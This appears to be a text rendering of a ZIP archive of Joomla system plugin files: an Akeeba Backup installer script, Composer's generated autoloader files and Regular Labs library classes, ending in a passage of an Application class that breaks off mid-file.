<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
PK�(]|��� system/backuponupdate/script.phpnu�[���<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use FOF40\InstallScript\Plugin;

defined('_JEXEC') || die;

// Load FOF if not already loaded
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
	throw new RuntimeException('This extension requires FOF 4.');
}

class plgSystemBackuponupdateInstallerScript extends Plugin
{
}
PK�(]CZ����4system/regularlabs/vendor/composer/autoload_psr4.phpnu�[���<?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'RegularLabs\\Plugin\\System\\RegularLabs\\' => array($baseDir . '/src'),
);
PK�(]�|dc774system/regularlabs/vendor/composer/autoload_real.phpnu�[���<?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit024eacf405310863b3206effceefe496
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        spl_autoload_register(array('ComposerAutoloaderInit024eacf405310863b3206effceefe496', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(\dirname(__FILE__)));
        spl_autoload_unregister(array('ComposerAutoloaderInit024eacf405310863b3206effceefe496', 'loadClassLoader'));

        $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
        if ($useStaticLoader) {
            require __DIR__ . '/autoload_static.php';

            call_user_func(\Composer\Autoload\ComposerStaticInit024eacf405310863b3206effceefe496::getInitializer($loader));
        } else {
            $map = require __DIR__ . '/autoload_namespaces.php';
            foreach ($map as $namespace => $path) {
                $loader->set($namespace, $path);
            }

            $map = require __DIR__ . '/autoload_psr4.php';
            foreach ($map as $namespace => $path) {
                $loader->setPsr4($namespace, $path);
            }

            $classMap = require __DIR__ . '/autoload_classmap.php';
            if ($classMap) {
                $loader->addClassMap($classMap);
            }
        }

        $loader->register(true);

        return $loader;
    }
}
PK�(]T��"�:�:8system/regularlabs/vendor/composer/InstalledVersions.phpnu�[���<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer;

use Composer\Autoload\ClassLoader;
use Composer\Semver\VersionParser;

/**
 * This class is copied in every Composer installed project and available to all
 *
 * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
 *
 * To require its presence, you can require `composer-runtime-api ^2.0`
 */
class InstalledVersions
{
    /**
     * @var mixed[]|null
     * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}|array{}|null
     */
    private static $installed;

    /**
     * @var bool|null
     */
    private static $canGetVendors;

    /**
     * @var array[]
     * @psalm-var array<string, array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    private static $installedByVendor = array();

    /**
     * Returns a list of all package names which are present, either by being installed, replaced or provided
     *
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackages()
    {
        $packages = array();
        foreach (self::getInstalled() as $installed) {
            $packages[] = array_keys($installed['versions']);
        }

        if (1 === \count($packages)) {
            return $packages[0];
        }

        return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
    }

    /**
     * Returns a list of all package names with a specific type e.g. 'library'
     *
     * @param  string   $type
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackagesByType($type)
    {
        $packagesByType = array();

        foreach (self::getInstalled() as $installed) {
            foreach ($installed['versions'] as $name => $package) {
                if (isset($package['type']) && $package['type'] === $type) {
                    $packagesByType[] = $name;
                }
            }
        }

        return $packagesByType;
    }

    /**
     * Checks whether the given package is installed
     *
     * This also returns true if the package name is provided or replaced by another package
     *
     * @param  string $packageName
     * @param  bool   $includeDevRequirements
     * @return bool
     */
    public static function isInstalled($packageName, $includeDevRequirements = true)
    {
        foreach (self::getInstalled() as $installed) {
            if (isset($installed['versions'][$packageName])) {
                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
            }
        }

        return false;
    }

    /**
     * Checks whether the given package satisfies a version constraint
     *
     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
     *
     *   Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
     *
     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
     * @param  string        $packageName
     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
     * @return bool
     */
    public static function satisfies(VersionParser $parser, $packageName, $constraint)
    {
        $constraint = $parser->parseConstraints($constraint);
        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

        return $provided->matches($constraint);
    }

    /**
     * Returns a version constraint representing all the range(s) which are installed for a given package
     *
     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
     * whether a given version of a package is installed, and not just whether it exists
     *
     * @param  string $packageName
     * @return string Version constraint usable with composer/semver
     */
    public static function getVersionRanges($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            $ranges = array();
            if (isset($installed['versions'][$packageName]['pretty_version'])) {
                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
            }
            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
            }
            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
            }
            if (array_key_exists('provided', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
            }

            return implode(' || ', $ranges);
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getPrettyVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['pretty_version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['pretty_version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
     */
    public static function getReference($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['reference'])) {
                return null;
            }

            return $installed['versions'][$packageName]['reference'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
     */
    public static function getInstallPath($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @return array
     * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}
     */
    public static function getRootPackage()
    {
        $installed = self::getInstalled();

        return $installed[0]['root'];
    }

    /**
     * Returns the raw installed.php data for custom implementations
     *
     * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
     * @return array[]
     * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}
     */
    public static function getRawData()
    {
        @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                self::$installed = include __DIR__ . '/installed.php';
            } else {
                self::$installed = array();
            }
        }

        return self::$installed;
    }

    /**
     * Returns the raw data of all installed.php which are currently loaded for custom implementations
     *
     * @return array[]
     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    public static function getAllRawData()
    {
        return self::getInstalled();
    }

    /**
     * Lets you reload the static array from another file
     *
     * This is only useful for complex integrations in which a project needs to use
     * this class but then also needs to execute another project's autoloader in process,
     * and wants to ensure both projects have access to their version of installed.php.
     *
     * A typical case would be PHPUnit, where it would need to make sure it reads all
     * the data it needs from this class, then call reload() with
     * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
     * the project in which it runs can then also use this class safely, without
     * interference between PHPUnit's dependencies and the project's dependencies.
     *
     * @param  array[] $data A vendor/composer/installed.php data set
     * @return void
     *
     * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>} $data
     */
    public static function reload($data)
    {
        self::$installed = $data;
        self::$installedByVendor = array();
    }

    /**
     * @return array[]
     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    private static function getInstalled()
    {
        if (null === self::$canGetVendors) {
            self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
        }

        $installed = array();

        if (self::$canGetVendors) {
            foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
                if (isset(self::$installedByVendor[$vendorDir])) {
                    $installed[] = self::$installedByVendor[$vendorDir];
                } elseif (is_file($vendorDir.'/composer/installed.php')) {
                    $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
                    if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) {
                        self::$installed = $installed[count($installed) - 1];
                    }
                }
            }
        }

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                self::$installed = require __DIR__ . '/installed.php';
            } else {
                self::$installed = array();
            }
        }
        $installed[] = self::$installed;

        return $installed;
    }
}
PK�(]��@���8system/regularlabs/vendor/composer/autoload_classmap.phpnu�[���<?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
);
PK�(]t �\\6system/regularlabs/vendor/composer/autoload_static.phpnu�[���<?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit024eacf405310863b3206effceefe496
{
    public static $prefixLengthsPsr4 = array (
        'R' => 
        array (
            'RegularLabs\\Plugin\\System\\RegularLabs\\' => 38,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'RegularLabs\\Plugin\\System\\RegularLabs\\' => 
        array (
            0 => __DIR__ . '/../..' . '/src',
        ),
    );

    public static $classMap = array (
        'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInit024eacf405310863b3206effceefe496::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInit024eacf405310863b3206effceefe496::$prefixDirsPsr4;
            $loader->classMap = ComposerStaticInit024eacf405310863b3206effceefe496::$classMap;

        }, null, ClassLoader::class);
    }
}
PK�(]���EE1system/regularlabs/vendor/composer/installed.jsonnu�[���{
    "packages": [],
    "dev": true,
    "dev-package-names": []
}
PK�(]9p����0system/regularlabs/vendor/composer/installed.phpnu�[���<?php return array(
    'root' => array(
        'pretty_version' => 'dev-main',
        'version' => 'dev-main',
        'type' => 'library',
        'install_path' => __DIR__ . '/../../',
        'aliases' => array(),
        'reference' => '1005f7331037063170ca4f1a6861984f9b932586',
        'name' => '__root__',
        'dev' => true,
    ),
    'versions' => array(
        '__root__' => array(
            'pretty_version' => 'dev-main',
            'version' => 'dev-main',
            'type' => 'library',
            'install_path' => __DIR__ . '/../../',
            'aliases' => array(),
            'reference' => '1005f7331037063170ca4f1a6861984f9b932586',
            'dev_requirement' => false,
        ),
    ),
);
PK�(] �..*system/regularlabs/vendor/composer/LICENSEnu�[���
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

PK�(]�5Ky�>�>2system/regularlabs/vendor/composer/ClassLoader.phpnu�[���<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    https://www.php-fig.org/psr/psr-0/
 * @see    https://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    /** @var ?string */
    private $vendorDir;

    // PSR-4
    /**
     * @var array[]
     * @psalm-var array<string, array<string, int>>
     */
    private $prefixLengthsPsr4 = array();
    /**
     * @var array[]
     * @psalm-var array<string, array<int, string>>
     */
    private $prefixDirsPsr4 = array();
    /**
     * @var array[]
     * @psalm-var array<string, string>
     */
    private $fallbackDirsPsr4 = array();

    // PSR-0
    /**
     * @var array[]
     * @psalm-var array<string, array<string, string[]>>
     */
    private $prefixesPsr0 = array();
    /**
     * @var array[]
     * @psalm-var array<string, string>
     */
    private $fallbackDirsPsr0 = array();

    /** @var bool */
    private $useIncludePath = false;

    /**
     * @var string[]
     * @psalm-var array<string, string>
     */
    private $classMap = array();

    /** @var bool */
    private $classMapAuthoritative = false;

    /**
     * @var bool[]
     * @psalm-var array<string, bool>
     */
    private $missingClasses = array();

    /** @var ?string */
    private $apcuPrefix;

    /**
     * @var self[]
     */
    private static $registeredLoaders = array();

    /**
     * @param ?string $vendorDir
     */
    public function __construct($vendorDir = null)
    {
        $this->vendorDir = $vendorDir;
    }

    /**
     * @return string[]
     */
    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
        }

        return array();
    }

    /**
     * @return array[]
     * @psalm-return array<string, array<int, string>>
     */
    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    /**
     * @return array[]
     * @psalm-return array<string, string>
     */
    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    /**
     * @return array[]
     * @psalm-return array<string, string>
     */
    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    /**
     * @return string[] Array of classname => path
     * @psalm-return array<string, string>
     */
    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param string[] $classMap Class to filename map
     * @psalm-param array<string, string> $classMap
     *
     * @return void
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string          $prefix  The prefix
     * @param string[]|string $paths   The PSR-0 root directories
     * @param bool            $prepend Whether to prepend the directories
     *
     * @return void
     */
    public function add($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    (array) $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = (array) $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                (array) $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string          $prefix  The prefix/namespace, with trailing '\\'
     * @param string[]|string $paths   The PSR-4 base directories
     * @param bool            $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    (array) $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                (array) $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string          $prefix The prefix
     * @param string[]|string $paths  The PSR-0 base directories
     *
     * @return void
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string          $prefix The prefix/namespace, with trailing '\\'
     * @param string[]|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     *
     * @return void
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     *
     * @return void
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     *
     * @return void
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     *
     * @return void
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);

        if (null === $this->vendorDir) {
            return;
        }

        if ($prepend) {
            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
        } else {
            unset(self::$registeredLoaders[$this->vendorDir]);
            self::$registeredLoaders[$this->vendorDir] = $this;
        }
    }

    /**
     * Unregisters this instance as an autoloader.
     *
     * @return void
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));

        if (null !== $this->vendorDir) {
            unset(self::$registeredLoaders[$this->vendorDir]);
        }
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return true|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            includeFile($file);

            return true;
        }

        return null;
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    /**
     * Returns the currently registered loaders indexed by their corresponding vendor directories.
     *
     * @return self[]
     */
    public static function getRegisteredLoaders()
    {
        return self::$registeredLoaders;
    }

    /**
     * @param  string       $class
     * @param  string       $ext
     * @return string|false
     */
    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }
}

/**
 * Scope isolated include.
 *
 * Prevents access to $this/self from included files.
 *
 * @param  string $file
 * @return void
 * @private
 */
function includeFile($file)
{
    include $file;
}
PK�(]t�!ו�:system/regularlabs/vendor/composer/autoload_namespaces.phpnu�[���<?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
);
PK�(]�]Tز�&system/regularlabs/vendor/autoload.phpnu�[���<?php

// autoload.php @generated by Composer

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit024eacf405310863b3206effceefe496::getLoader();
PK�(]� ���!system/regularlabs/src/Params.phpnu�[���<?php
/**
 * @package         Regular Labs Library
 * @version         23.2.18739
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use RegularLabs\Library\ParametersNew as RL_Parameters;

class Params
{
    protected static $params = null;

    public static function get()
    {
        if ( ! is_null(self::$params))
        {
            return self::$params;
        }

        self::$params = RL_Parameters::getPlugin('regularlabs');

        return self::$params;
    }
}
PK�(];B|F��&system/regularlabs/src/Application.phpnu�[���<?php
/**
 * @package         Regular Labs Library
 * @version         23.2.18739
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;

class Application
{
    static function getThemesDirectory()
    {
        if (JFactory::getApplication()->get('themes.base'))
        {
            return JFactory::getApplication()->get('themes.base');
        }

        if (defined('JPATH_THEMES'))
        {
            return JPATH_THEMES;
        }

        if (defined('JPATH_BASE'))
        {
            return JPATH_BASE . '/themes';
        }

        return __DIR__ . '/themes';
    }

    public function render()
    {
        $app      = JFactory::getApplication();
        $document = JFactory::getDocument();
        $user     = JFactory::getApplication()->getIdentity() ?: JFactory::getUser();

        $app->loadDocument($document);

        $params = [
            'template'  => $app->get('theme'),
